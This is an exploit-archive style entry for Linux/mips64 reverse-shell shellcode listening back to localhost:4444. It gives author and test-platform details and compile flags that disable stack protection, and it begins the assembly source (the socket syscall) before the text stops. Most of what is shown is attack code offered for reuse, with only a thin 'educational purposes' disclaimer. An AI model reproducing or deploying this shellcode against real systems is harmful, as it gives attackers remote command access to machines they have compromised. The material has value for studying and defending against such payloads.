Exploits / Vulnerability Discovered : 2019-08-20 |
Type : shellcode |
Platform : linux
This exploit / vulnerability Linux/mips64 reverse (localhost:4444/tcp) shell shellcode (157 bytes) is for educational purposes only and if it is used you will do on your own risk!
[+] Code ...
/*
* # Reverse shell shellcode for Linux MIPS64 (mips64el)
* # Default port: tcp/4444
* # Host: localhost
* # Date: August 19 - 2019
* # Author: Antonio de la Piedra
* # Tested on: MIPS Malta - Linux debian-mips64el 4.9.0-3-5kc-malta
* # Size: 157 bytes
* # Compile with: gcc -fno-stack-protector -z execstack main.c -o main -g
*/
#include <stdio.h>
#include <string.h>
/*
.text
.global __start
__start:
dli $s4, -3
dli $s5, -17
nor $a0,$s4,$zero
nor $a1,$s4,$zero
slti $a2,$zero,-1
li $v0,5040
syscall 0x40404